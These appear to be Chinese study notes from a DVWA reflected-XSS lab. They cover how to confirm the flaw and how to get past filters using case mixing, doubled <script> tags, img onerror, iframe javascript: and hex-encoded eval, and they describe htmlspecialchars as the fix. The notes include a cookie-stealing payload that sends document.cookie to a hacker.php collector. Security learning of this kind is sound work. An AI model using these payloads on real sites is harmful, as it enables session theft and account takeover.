前情提要:html的dom对象:document

如document.cookie  / document.write()

http://netsecurity.51cto.com/art/201311/417201.htm实战演示

1.判断是否有反射型XSS漏洞:

2.实践

http://www.storysec.com/dvwa-xss-reflected.html

https://www.cnblogs.com/wang1212-/p/9028349.html两个都给我看

img.src="http://localhost/xss/hacker.php?x=" + document.cookie;  //document.location:将页面的内容指定到指定位置

其实不写hacker.js文件也行,直接url里构造就好了

+document.cookie的+是连接符而已,其实是替代了空格、回车!!!(+号可以用%2b编码)

//PHPSESSID后的value可以直接双击修改

 @靶场实践DVWA-XSS(reflected)

教程http://www.storysec.com/dvwa-xss-reflected.html

https://www.cnblogs.com/wang1212-/p/9028349.html(更牛逼)

http://www.storysec.com/dvwa-xss-reflected.html(更更牛逼)

1.为啥在搜索框里输入<script>alert(/xss/)</script>不跳出弹窗?

(1)F12一下,html的<pre>标签把<>实体化了,所以输入</pre><script>alert(/xss/)</script><pre>,抵消掉原来的pre标签,弹窗就出来了

(2)<script>被过滤了:$name = str_replace( '<script>', '', $_GET[ 'name' ] );

法一:大小写绕过 </pre><SCriPt>alert(/xss/)</ScRipt><pre>

法二:双写绕过  ‘><sc<script>ript>alert("如果你能看到,说明攻击成功")</script>话说为什么要加'>啊?看另一个教程就没加'>,没有也可以跳出弹窗的说

str_replace()只过滤了一次<script>,外面的被拼接,真是妙不可言

(3)<script>被更厉害地被过滤了(正则)

preg_replace 函数使用正则表达式的搜索和替换,使得双写绕过、大小写混淆也无能为力了。
我们可以考虑通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码
比如:</pre><img src=1 onerror=alert(/xss/)><pre>
   <a href='#' onclick=alert(/xss/)>test</a>
   <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>  

   <iframe onload=alert(1)>

   <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

(4)使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素

于是这下完全防御了XSS注入

& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 &apos;//生效需要加 ENT_QUOTES 参数
< (小于)成为 &lt;
> (大于)成为 &gt;

2.输入<Xtt>XSS,F12发现出现<xtt>XSS</xtt>标签,说明存在XSS漏洞

原理:事实上并没有<Xtt>这个标签,只是html的自动补全功能,还他喵的不分大小写

XSS-反射型的更多相关文章

  1. 代码审计中的XSS反射型漏洞

    XSS反射型漏洞 一 XSS漏洞总共分三总 XSS反射型漏洞,XSS保存型漏洞,基于DOM的XSS漏洞 这次主要分享XSS反射型漏洞 基本原理:就是通过给别人发送带有恶意脚本代码参数的URL,当URL ...

  2. DVWA之Reflected XSS(反射型XSS)

    目录 Low Medium High Impossible Low 源代码: <?php header ("X-XSS-Protection: 0"); // Is ther ...

  3. 解决反射型XSS漏洞攻击

    对于程序员来说安全防御,无非从两个方面考虑,要么前端要么后台. 一.首先从前端考虑过滤一些非法字符. 前端的主控js中,在<textarea> 输入框标签中,找到点击发送按钮后,追加到聊天 ...

  4. XSS分析及预防

    XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息 ...

  5. XSS 初识

    xss(跨站脚本攻击)xss是指攻击者在网页中嵌入客户端脚本,通常是javascript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将在用户的浏览器上被解析执行.重点是“脚本” ...

  6. Cross-site Scripting (XSS) 阅读笔记

    本文源自 https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 通过阅读和翻译,并按照自己的理解,整理成如下文档. 概述 XSS ...

  7. XSS初体验

    主要内容 什么是XSS? XSS的危害有哪些? 常见的XSS漏洞 如何防范XSS?   什么是XSS? 跨站脚本攻击(Cross Site Scripting),是一种 Web 应用程序的漏洞,当来自 ...

  8. XSS分析及预防(转)

    阅读目录 XSS的种类和特点 XSS预防 总结 XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏 ...

  9. XSS Overview

    什么是XSS? 跨站脚本攻击(Cross Site Scripting):攻击者往Web页面里插入恶意脚本,当用户浏览该页面时,嵌入页面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的.恶意的内容通 ...

  10. XSS分析及如何预防

    XSS分析及如何预防 简单说明: XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开 ...

随机推荐

  1. 多对多第三张表的创建方式 和 forms组件的使用

    目录 一.多对多第三张表的创建 1. 全自动方式 (1)实现代码 (2)优点和不足 2. 纯手撸方式(了解) (1)实现代码 (2)优点和不足 3. 半自动方式(推荐使用) (1)实现代码 (2)优点 ...

  2. 1、检查并修改mysql的my.ini的配置文件

    代码如下: default-character-set=utf8 2.建立数据库是要指定字符集 代码如下: create database mydb default character set utf ...

  3. ELK——集中式日志系统

    https://www.ibm.com/developerworks/cn/opensource/os-cn-elk/index.html 基本流程是 Shipper 负责从各种数据源里采集数据,然后 ...

  4. js-点击+加关注变成已关注,已关注状态时,鼠标滑动上的状态时取消关注

    效果: HTML: <div class="rightBtn cur">+关注</div> CSS: .rightBtn{ width: 80px; hei ...

  5. OpenCV笔记(5)(定位票据并规范化、调库扫描文本)

    一.定位和变换票据 定位照片中的不规范票据或矩形文本,并将其变换为正规矩形,以供OCR识别. # -*- coding:utf-8 -*- __author__ = 'Leo.Z' import cv ...

  6. Cobbler自动装机

    preface 我们之前批量安装操作系统的时候都是采用pxe来安装,pxe也是通过网络安装操作系统的,但是PXE依赖于DHCP,HTTP/TFTP,kicstart等支持.安装流程如下所示: 对于上面 ...

  7. getch和getchar的区别

    造冰箱的大熊猫@cnblogs 2018/11/30 1.getc() 头文件:stdio.h 函数声明:int getc ( FILE * stream ); 功能: - 返回流(stream)当前 ...

  8. TTTTTTTTTT TTTTT CF 229C 三角形数量

    题意: 有一个无向完全图(任意两个节点之间均有一条边),包含 n(1<=n<=10^6) 个顶点,现在有两个人A 和 B,A从这个无向图中取出 m(0<=m<=10^6) 条边 ...

  9. 【杂题】[LibreOJ #6608] 无意识的石子堆【容斥原理】【FFT】

    Description Solution 943718401=225*2^22+1 显然每行必须有两个,我们不妨枚举有k列有2个石子,那么有2(n-k)列有1个石子. \[Ans=\sum\limit ...

  10. Spring配置文件beans标签报错问题解决

    因为有很多配置是复制过来的,附带的很多注释的格式会导致报错,所以可以要试试把注释去掉,只有配置文件的话可能就不会报错了.